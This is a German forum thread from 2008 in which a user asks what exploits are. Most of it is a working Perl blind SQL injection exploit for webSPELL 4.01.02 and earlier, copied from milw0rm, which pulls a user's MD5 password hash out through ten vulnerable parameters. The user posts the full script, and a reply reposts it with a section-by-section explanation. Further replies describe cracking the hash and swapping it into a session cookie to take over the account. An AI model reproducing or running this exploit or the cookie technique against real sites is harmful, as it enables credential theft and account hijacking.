Exploits?

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von SynT@x, 26. Dezember 2008 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 26. Dezember 2008
    Zuletzt von einem Moderator bearbeitet: 15. April 2017
    Hallo Liebe Community nur um eins zu klären am Anfang:

    Mit diesem Thread möchte ich

    • Niemandem Schaden zufügen!
    • Mich weiterbilden!

    Ich habe vieles von Exploits gehört wie zum Beispiel diesem webspell exploit
    wie im folgendem Beispiel:
    [Hacking] Webspell ganz einfach via Exploit hacken

    Nun meine Fragen:
    • Was sind diese Exploits?
    • Wie kann ich die verstehen? Ich war auf http://www.milw0rm.com und habe etwas gefunden z.B.:
      Spoiler
      #!/usr/bin/perl
      use LWP::UserAgent;
      use Getopt::Long;

      if(!$ARGV[3])
      {
      print "\n \\#'#/ ";
      print "\n (-.-) ";
      print "\n -------------------oOO---(_)---OOo--------------------";
      print "\n | webSPELL <= v4.01.02 Multiple Remote SQL Injection |";
      print "\n | coded by DNX |";
      print "\n ------------------------------------------------------";
      print "\n[!] Solution: install security fix";
      print "\n[!] Usage: perl ws.pl [Host] [Path] [Target] <Options>";
      print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -0 -id 1";
      print "\n[!] Targets:";
      print "\n -0 Bug in awards.php line 207, inject code in \$awardID";
      print "\n -1 Bug in clanwars_details.php line 36, inject code in \$cwID";
      print "\n -2 Bug in demos.php line 301, inject code in \$demoID";
      print "\n -3 Bug in profile.php line 37, inject code in \$id";
      print "\n -4 Bug in links.php line 139, inject code in \$linkcatID";
      print "\n -5 Bug in faq.php line 37, inject code in \$faqcatID";
      print "\n -6 Bug in faq.php line 72, inject code in \$faqID";
      print "\n -7 Bug in articles.php line 256, inject code in \$articlesID";
      print "\n -8 Bug in news_comments.php line 38, inject code in \$newsID";
      print "\n -9 Bug in cash_box.php line 119, inject code in \$id";
      print "\n[!] Options:";
      print "\n -id [no] Valid ID for \$awardID, \$cwID, \$demoID, \$newsID, ...";
      print "\n -uid [no] User-ID, default is 1";
      print "\n -t [name] Changed the user table name, default is webs_user";
      print "\n -p [ip ort] Proxy support";
      print "\n";
      exit;
      }

      my $host = $ARGV[0];
      my $path = $ARGV[1];
      my $user = 1;
      my $table = "webs_user";
      my $id = 0;
      my %options = ();
      GetOptions(\%options, "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "id=i", "uid=i", "t=s", "p=s");

      print "[!] Exploiting...\n";

      if($options{"id"})
      {
      $id = $options{"id"};
      }
      else
      {
      print "[!] Exploit failed, missing parameter\n";
      exit;
      }

      if($options{"uid"})
      {
      $user = $options{"uid"};
      }

      if($options{"t"})
      {
      $table = $options{"t"};
      }

      syswrite(STDOUT, "[!] MD5-Hash: ", 14);

      for(my $i = 1; $i <= 32; $i++)
      {
      my $found = 0;
      my $h = 48;
      while(!$found && $h <= 57)
      {
      if(istrue3($host, $path, $table, $id, $user, $i, $h))
      {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
      }
      $h++;
      }
      if(!$found)
      {
      $h = 97;
      while(!$found && $h <= 122)
      {
      if(istrue3($host, $path, $table, $id, $user, $i, $h))
      {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
      }
      $h++;
      }
      }
      }

      print "\n[!] Exploit done\n";

      sub istrue3
      {
      my $host = shift;
      my $path = shift;
      my $table = shift;
      my $id = shift;
      my $uid = shift;
      my $i = shift;
      my $h = shift;
      my $url = "http://".$host.$path;
      my $regexp = "";

      my $ua = LWP::UserAgent->new;

      if($options{"0"})
      {
      $url .= "index.php?site=awards&action=details&awardID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "Event: -";
      }
      if($options{"1"})
      {
      $url .= "index.php?site=clanwars_details&cwID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "<img src=\"images\/games\/\.gif";
      }
      if($options{"2"})
      {
      $url .= "index.php?site=demos&action=showdemo&demoID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "<img src=\"images\/games\/\.gif";
      }
      if($options{"3"})
      {
      $url .= "index.php?site=profile&action=buddys&id=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "no buddys";
      }
      if($options{"4"})
      {
      $url .= "index.php?site=links&action=show&linkcatID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "no links available";
      }
      if($options{"5"})
      {
      $url .= "index.php?site=faq&action=faqcat&faqcatID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "no faq available";
      }
      if($options{"6"})
      {
      $url .= "index.php?site=faq&action=faq&faqID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "no faq available";
      }
      if($options{"7"})
      {
      $url .= "index.php?site=articles&action=show&articlesID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "no entries";
      }
      if($options{"8"})
      {
      $url .= "index.php?site=news_comments&newsID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "no version in selected language available";
      }
      if($options{"9"})
      {
      $url .= "index.php?site=cash_box&action=edit&id=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
      $regexp = "<textarea name=\"info\" cols=\"50\" rows=\"7\"><\/textarea>";
      }

      if($options{"p"})
      {
      $ua->proxy('http', "http://".$options{"p"});
      }

      my $response = $ua->get($url);
      my $content = $response->content;

      if($content !~ /$regexp/)
      {
      return 1;
      }
      else
      {
      return 0;
      }
      }

      # milw0rm.com [2007-03-02]

      Das ich kann mir irgendwie keinen einzigen Reim daraus machen.

    ich hoffe ihr könnt mir helfen und wenn dafür Kenntnise gefodert sind dann bin ich auch bereit diese zu erlernen und bitte euch nicht wieder mit den Sprüchen zu kommen Kiddie oder dergleichen.

    Mit Freundlichen Grüßen
    SynT@x
     
  2. 26. Dezember 2008
    AW: Exploits?

    Exploit: Exploit – Wikipedia

    Das da oben ist ein Perl-Script, ausführen kannst dus mit jedem beliebigen perl-interpreter.
     
  3. 26. Dezember 2008
    AW: Exploits?

    hey vielen dank für die antwort! bw hast du
    hmm und dieser script was bedeutet der? also was macht der wenn ich den ausführe?
     
  4. 26. Dezember 2008
    AW: Exploits?

    Wie aus der Kopfzeile des Scriptes ersichtlich handelt es sich um Perl.
    Das Exploit bzw. in diesem Falle die Exploits sind also in Perl geschrieben.
    Ich selbst beherrsche Perl nur rudimentär, aber exakte Aussagen über das Exploit zu treffen wäre hier
    so-oder-so zu viel erwartet.


    #!/usr/bin/perl
    use LWP::UserAgent;
    use Getopt::Long;

    if(!$ARGV[3])
    {
    print "\n \\#'#/ ";
    print "\n (-.-) ";
    print "\n -------------------oOO---(_)---OOo--------------------";
    print "\n | webSPELL <= v4.01.02 Multiple Remote SQL Injection |";
    print "\n | coded by DNX |";
    print "\n ------------------------------------------------------";
    print "\n[!] Solution: install security fix";
    print "\n[!] Usage: perl ws.pl [Host] [Path] [Target] <Options>";
    print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -0 -id 1";
    print "\n[!] Targets:";
    print "\n -0 Bug in awards.php line 207, inject code in \$awardID";
    print "\n -1 Bug in clanwars_details.php line 36, inject code in \$cwID";
    print "\n -2 Bug in demos.php line 301, inject code in \$demoID";
    print "\n -3 Bug in profile.php line 37, inject code in \$id";
    print "\n -4 Bug in links.php line 139, inject code in \$linkcatID";
    print "\n -5 Bug in faq.php line 37, inject code in \$faqcatID";
    print "\n -6 Bug in faq.php line 72, inject code in \$faqID";
    print "\n -7 Bug in articles.php line 256, inject code in \$articlesID";
    print "\n -8 Bug in news_comments.php line 38, inject code in \$newsID";
    print "\n -9 Bug in cash_box.php line 119, inject code in \$id";
    print "\n[!] Options:";
    print "\n -id [no] Valid ID for \$awardID, \$cwID, \$demoID, \$newsID, ...";
    print "\n -uid [no] User-ID, default is 1";
    print "\n -t [name] Changed the user table name, default is webs_user";
    print "\n -p [ip ort] Proxy support";
    print "\n";
    exit;
    }


    Der Block gibt Erklärungen sowie eine "Anleitung" zum Benutzen aus.

    my $host = $ARGV[0];
    my $path = $ARGV[1];
    my $user = 1;
    my $table = "webs_user";
    my $id = 0;
    my %options = ();
    GetOptions(\%options, "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "id=i", "uid=i", "t=s", "p=s");

    print "[!] Exploiting...\n";

    if($options{"id"})
    {
    $id = $options{"id"};
    }
    else
    {
    print "[!] Exploit failed, missing parameter\n";
    exit;
    }

    if($options{"uid"})
    {
    $user = $options{"uid"};
    }

    if($options{"t"})
    {
    $table = $options{"t"};
    }

    syswrite(STDOUT, "[!] MD5-Hash: ", 14);

    for(my $i = 1; $i <= 32; $i++)
    {
    my $found = 0;
    my $h = 48;
    while(!$found && $h <= 57)
    {
    if(istrue3($host, $path, $table, $id, $user, $i, $h))
    {
    $found = 1;
    syswrite(STDOUT, chr($h), 1);
    }
    $h++;
    }
    if(!$found)
    {
    $h = 97;
    while(!$found && $h <= 122)
    {
    if(istrue3($host, $path, $table, $id, $user, $i, $h))
    {
    $found = 1;
    syswrite(STDOUT, chr($h), 1);
    }
    $h++;
    }
    }
    }

    print "\n[!] Exploit done\n";

    sub istrue3
    {
    my $host = shift;
    my $path = shift;
    my $table = shift;
    my $id = shift;
    my $uid = shift;
    my $i = shift;
    my $h = shift;
    my $url = "http://".$host.$path;
    my $regexp = "";

    my $ua = LWP::UserAgent->new;


    Dieser Block hat verschiedene Funktionen, er übernimmt Parameter die beim Start übergeben worden sind,
    gibt später den MD5 Verschlüsselten Hash aus, zeigt Fehlermeldungen etc.

    if($options{"0"})
    {
    $url .= "index.php?site=awards&action=details&awardID=".$id."'%20AND%20SUBSTRING((S ELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=C HAR(".$h.")/*";
    $regexp = "Event: -";
    }
    if($options{"1"})
    {
    $url .= "index.php?site=clanwars_details&cwID=".$id."'%20AND%20SUBSTRING((SELECT%20 password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h .")/*";
    $regexp = "<img src=\"images\/games\/\.gif";
    }
    if($options{"2"})
    {
    $url .= "index.php?site=demos&action=showdemo&demoID=".$id."'%20AND%20SUBSTRING((SE LECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CH AR(".$h.")/*";
    $regexp = "<img src=\"images\/games\/\.gif";
    }
    if($options{"3"})
    {
    $url .= "index.php?site=profile&action=buddys&id=".$id."'%20AND%20SUBSTRING((SELECT %20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(" .$h.")/*";
    $regexp = "no buddys";
    }
    if($options{"4"})
    {
    $url .= "index.php?site=links&action=show&linkcatID=".$id."'%20AND%20SUBSTRING((SEL ECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHA R(".$h.")/*";
    $regexp = "no links available";
    }
    if($options{"5"})
    {
    $url .= "index.php?site=faq&action=faqcat&faqcatID=".$id."'%20AND%20SUBSTRING((SELE CT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR (".$h.")/*";
    $regexp = "no faq available";
    }
    if($options{"6"})
    {
    $url .= "index.php?site=faq&action=faq&faqID=".$id."'%20AND%20SUBSTRING((SELECT%20p assword%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h. ")/*";
    $regexp = "no faq available";
    }
    if($options{"7"})
    {
    $url .= "index.php?site=articles&action=show&articlesID=".$id."'%20AND%20SUBSTRING( (SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1) =CHAR(".$h.")/*";
    $regexp = "no entries";
    }
    if($options{"8"})
    {
    $url .= "index.php?site=news_comments&newsID=".$id."'%20AND%20SUBSTRING((SELECT%20p assword%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h. ")/*";
    $regexp = "no version in selected language available";
    }
    if($options{"9"})
    {
    $url .= "index.php?site=cash_box&action=edit&id=".$id."'%20AND%20SUBSTRING((SELECT% 20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(". $h.")/*";
    $regexp = "<textarea name=\"info\" cols=\"50\" rows=\"7\"><\/textarea>";
    }


    Dieser Block beinhaltet die 9 verschiedenen Exploits (Angreifbares Script + RegEx zum Auslesen + SQL Query)

    if($options{"p"})
    {
    $ua->proxy('http', "http://".$options{"p"});
    }

    my $response = $ua->get($url);
    my $content = $response->content;

    if($content !~ /$regexp/)
    {
    return 1;
    }
    else
    {
    return 0;
    }
    }


    Weiterer Teil der Ausführung sowie RegEx durchführung.

    # milw0rm.com [2007-03-02]



    Wikipedia Links zu einigen Begriffen :
    Perl
    RegEx (Regulärer Ausdruck)
    SQL-Injection

    "Eines der Exploits" :


    Angreifbares Script :
    index.php?site=clanwars_details
    mit Parameter : &cwID=
    SQL-Query : "%20AND%20SUBSTRING((SELECT%20 password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h .")/*" (Escaped
    RegEx um nach dem Hash zu suchen : "<img src=\"images\/games\/\.gif"



    Weiterhin wird dir dies alles nicht "viel" bringen. Denn wenn du dich ernsthaft mit der Thematik beschäftigen möchtest, kommst du nicht umher einige Programmiererfahrung zu sammeln und dich mit entsprechender Literatur zu beschäftigen

    // Halloweenracer ; +1
     
  5. 26. Dezember 2008
    AW: Exploits?

    Hoi,

    webSPELL <= v4.01.02 Multiple Remote SQL Injection

    Das ist ein Exploit, was Dir per SQL Injection einen MD5 Hash verschafft. Den musst Du cracken und kannst Dich dann mit dem Passwort des betreffenden Users einloggen. Und mehr muss man dann dazu nicht sagen.

    Ich finde nur, wenn Du das wirklich lernen willst, warum dann gerade nen Webspell Exploit? Ich würde da eher etwas allgemeiner an die Sache rangehen, siehe Pyro und nicht gleich mitten drin anfangen um dann ein Exploit ausführen zu können, aber im Endeffekt nicht wirklich zu verstehen, was Du machst und vorallem machen kannst.

    Mag jeder sehen, wie er will, aber ich vertrete die Meinung. Kannst Dir z.B. auch bei ebay Bücher billig kaufen, wo das Thema behandelt wird. Oder suchst Dir diese Literatur im Netz...

    Das bringt Dir mehr als im RR nachzufragen

    Mfg Halloweenracer
     
  6. 26. Dezember 2008
    AW: Exploits?

    man muss den md5 nich unbedingt cracken, meistens reichts, wenn man den cookie anpasst (also usernamen ersetzen durch den inhaber des hashs, eigenen pw-hash gegen den vom exploit tauschen), dafür sollte man natürlich ersma nen cookie haben^^...mfg coach

    PS: schau dir als erstes mysql an, dann verstehste, was die injections machen, wennde das dann verstehst, brauchste 'nur' ne sprache zu finden, in der du die parameter übergeben kannst...
     
  7. 27. Dezember 2008
    AW: Exploits?

    wow vielen dank für die ganzen antworten
    nadann hab ich ja ma was zu tun
    bws sind raus ich close ma
    mfg
    synT@x
     
  8. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.